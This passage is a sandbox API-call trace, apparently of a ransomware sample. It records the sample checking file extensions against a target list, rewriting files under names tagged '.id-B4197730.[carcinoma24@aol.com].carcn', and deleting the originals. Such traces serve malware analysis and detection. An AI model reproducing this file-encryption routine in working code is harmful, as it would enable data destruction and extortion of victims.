Size=0x6) returned 0x81d218 [0157.921] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecc78 [0157.921] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x38be020 [0157.923] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecc48 [0157.923] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecc48, Size=0x20) returned 0x7cec80 [0157.923] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecd68 [0157.923] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecd68, Size=0x20) returned 0x7cea00 [0157.924] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0157.924] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0157.924] Wow64DisableWow64FsRedirection (in: OldValue=0x266ff50 | out: OldValue=0x266ff50*=0x0) returned 1 [0157.924] lstrlenW (lpString="kernel32.dll") returned 12 [0157.924] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cec80 | out: hHeap=0x790000) returned 1 [0157.924] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.924] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0157.924] Sleep (dwMilliseconds=0x64) [0158.072] lstrcmpiW (lpString1=".cmd", lpString2=".carcn") returned 1 [0158.072] lstrlenW (lpString="preoobe.cmd") returned 11 [0158.072] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.312] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=74) returned 1 [0158.312] CloseHandle (hObject=0x2ec) returned 1 [0158.312] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0158.312] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.312] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.312] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.312] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.313] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.904] GetLastError () returned 0x0 [0158.904] ReadFile (in: hFile=0x2ec, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x4a, lpOverlapped=0x0) returned 1 [0158.914] WriteFile (in: hFile=0x2fc, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x50, lpOverlapped=0x0) returned 1 [0158.918] ReadFile (in: hFile=0x2ec, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.918] WriteFile (in: hFile=0x2fc, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xea, lpOverlapped=0x0) returned 1 [0158.918] SetEndOfFile (hFile=0x2fc) returned 1 [0158.918] CloseHandle (hObject=0x2fc) returned 1 [0158.919] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.919] SetEndOfFile (hFile=0x2ec) returned 1 [0158.920] CloseHandle (hObject=0x2ec) returned 1 [0158.920] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0158.920] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0158.920] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.920] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.920] lstrlenW (lpString=".doc") returned 4 [0158.920] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0158.920] lstrlenW (lpString=".docx") returned 5 [0158.920] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0158.920] lstrlenW (lpString=".pdf") returned 4 [0158.920] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString=".xls") returned 4 [0158.921] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString=".xlsx") returned 5 [0158.921] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0158.921] lstrlenW (lpString=".ppt") returned 4 [0158.921] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.921] lstrlenW (lpString=".zip") returned 4 [0158.921] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString=".rar") returned 4 [0158.921] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString=".bz2") returned 4 [0158.921] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0158.921] lstrlenW (lpString=".7z") returned 3 [0158.921] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0158.921] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.921] lstrlenW (lpString=".dbf") returned 4 [0158.921] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.921] lstrlenW (lpString=".1cd") returned 4 [0158.921] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0158.921] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.921] lstrlenW (lpString=".jpg") returned 4 [0158.921] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.921] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.921] lstrlenW (lpString=".doc") returned 4 [0158.921] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString=".docx") returned 5 [0158.921] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0158.921] lstrlenW (lpString=".pdf") returned 4 [0158.921] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0158.921] lstrlenW (lpString=".xls") returned 4 [0158.921] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0158.922] lstrlenW (lpString=".xlsx") returned 5 [0158.922] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0158.922] lstrlenW (lpString=".ppt") returned 4 [0158.922] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0158.922] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.922] lstrlenW (lpString=".zip") returned 4 [0158.922] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0158.922] lstrlenW (lpString=".rar") returned 4 [0158.922] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0158.922] lstrlenW (lpString=".bz2") returned 4 [0158.922] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0158.922] lstrlenW (lpString=".7z") returned 3 [0158.922] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0158.922] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.922] lstrlenW (lpString=".dbf") returned 4 [0158.922] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0158.922] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.922] lstrlenW (lpString=".1cd") returned 4 [0158.922] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0158.922] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0158.922] lstrlenW (lpString=".jpg") returned 4 [0158.922] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0158.922] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0158.922] lstrlenW (lpString="SetupResources.dll") returned 18 [0158.922] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.923] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=14168) returned 1 [0158.923] CloseHandle (hObject=0x2ec) returned 1 [0158.923] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0158.923] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.923] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.923] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.924] GetLastError () returned 0x0 [0158.924] ReadFile (in: hFile=0x2ec, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x3758, lpOverlapped=0x0) returned 1 [0159.122] WriteFile (in: hFile=0x2fc, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x3760, lpOverlapped=0x0) returned 1 [0159.123] ReadFile (in: hFile=0x2ec, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.123] WriteFile (in: hFile=0x2fc, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.123] SetEndOfFile (hFile=0x2fc) returned 1 [0159.124] CloseHandle (hObject=0x2fc) returned 1 [0159.125] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.125] SetEndOfFile (hFile=0x2ec) returned 1 [0159.125] CloseHandle (hObject=0x2ec) returned 1 [0159.125] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.126] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0159.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.126] lstrlenW (lpString=".doc") returned 4 [0159.126] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.126] lstrlenW (lpString=".docx") returned 5 [0159.126] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.126] lstrlenW (lpString=".pdf") returned 4 [0159.126] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.126] lstrlenW (lpString=".xls") returned 4 [0159.126] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.126] lstrlenW (lpString=".xlsx") returned 5 [0159.126] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.126] lstrlenW (lpString=".ppt") returned 4 [0159.126] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.126] lstrlenW (lpString=".zip") returned 4 [0159.126] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.126] lstrlenW (lpString=".rar") returned 4 [0159.126] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.126] lstrlenW (lpString=".bz2") returned 4 [0159.127] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.127] lstrlenW (lpString=".7z") returned 3 [0159.127] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.127] lstrlenW (lpString=".dbf") returned 4 [0159.127] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.127] lstrlenW (lpString=".1cd") returned 4 [0159.127] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.127] lstrlenW (lpString=".jpg") returned 4 [0159.127] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.127] lstrlenW (lpString=".doc") returned 4 [0159.127] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.127] lstrlenW (lpString=".docx") returned 5 [0159.127] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.127] lstrlenW (lpString=".pdf") returned 4 [0159.127] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.127] lstrlenW (lpString=".xls") returned 4 [0159.127] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.127] lstrlenW (lpString=".xlsx") returned 5 [0159.127] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.127] lstrlenW (lpString=".ppt") returned 4 [0159.127] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.127] lstrlenW (lpString=".zip") returned 4 [0159.127] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.127] lstrlenW (lpString=".rar") returned 4 [0159.127] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.127] lstrlenW (lpString=".bz2") returned 4 [0159.127] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.127] lstrlenW (lpString=".7z") returned 3 [0159.127] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.128] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.128] lstrlenW (lpString=".dbf") returned 4 [0159.128] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.128] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.128] lstrlenW (lpString=".1cd") returned 4 [0159.128] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.128] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0159.128] lstrlenW (lpString=".jpg") returned 4 [0159.128] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.128] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0159.130] lstrlenW (lpString="SetupResources.dll") returned 18 [0159.130] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.130] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=19288) returned 1 [0159.130] CloseHandle (hObject=0x2ec) returned 1 [0159.131] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0159.131] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.131] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0159.131] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.131] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.131] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0159.160] GetLastError () returned 0x0 [0159.160] ReadFile (in: hFile=0x2ec, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0159.281] WriteFile (in: hFile=0x30c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0159.282] ReadFile (in: hFile=0x2ec, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.282] WriteFile (in: hFile=0x30c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.282] SetEndOfFile (hFile=0x30c) returned 1 [0159.282] CloseHandle (hObject=0x30c) returned 1 [0159.283] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.283] SetEndOfFile (hFile=0x2ec) returned 1 [0159.284] CloseHandle (hObject=0x2ec) returned 1 [0159.284] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.284] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0159.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.285] lstrlenW (lpString=".doc") returned 4 [0159.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.285] lstrlenW (lpString=".docx") returned 5 [0159.285] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.285] lstrlenW (lpString=".pdf") returned 4 [0159.285] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.285] lstrlenW (lpString=".xls") returned 4 [0159.285] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.285] lstrlenW (lpString=".xlsx") returned 5 [0159.285] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.285] lstrlenW (lpString=".ppt") returned 4 [0159.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.285] lstrlenW (lpString=".zip") returned 4 [0159.285] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.285] lstrlenW (lpString=".rar") returned 4 [0159.285] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.285] lstrlenW (lpString=".bz2") returned 4 [0159.285] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.285] lstrlenW (lpString=".7z") returned 3 [0159.285] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.285] lstrlenW (lpString=".dbf") returned 4 [0159.285] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.285] lstrlenW (lpString=".1cd") returned 4 [0159.285] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.285] lstrlenW (lpString=".jpg") returned 4 [0159.285] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.285] lstrlenW (lpString=".doc") returned 4 [0159.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.286] lstrlenW (lpString=".docx") returned 5 [0159.286] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0159.286] lstrlenW (lpString=".pdf") returned 4 [0159.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.286] lstrlenW (lpString=".xls") returned 4 [0159.286] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.286] lstrlenW (lpString=".xlsx") returned 5 [0159.286] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0159.286] lstrlenW (lpString=".ppt") returned 4 [0159.286] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.286] lstrlenW (lpString=".zip") returned 4 [0159.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.286] lstrlenW (lpString=".rar") returned 4 [0159.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.286] lstrlenW (lpString=".bz2") returned 4 [0159.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.286] lstrlenW (lpString=".7z") returned 3 [0159.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.286] lstrlenW (lpString=".dbf") returned 4 [0159.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.286] lstrlenW (lpString=".1cd") returned 4 [0159.286] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0159.286] lstrlenW (lpString=".jpg") returned 4 [0159.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.286] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0159.286] lstrlenW (lpString="SetupResources.dll") returned 18 [0159.286] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0159.701] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=15704) returned 1 [0159.701] CloseHandle (hObject=0x31c) returned 1 [0159.701] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0159.702] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.702] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0159.702] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, 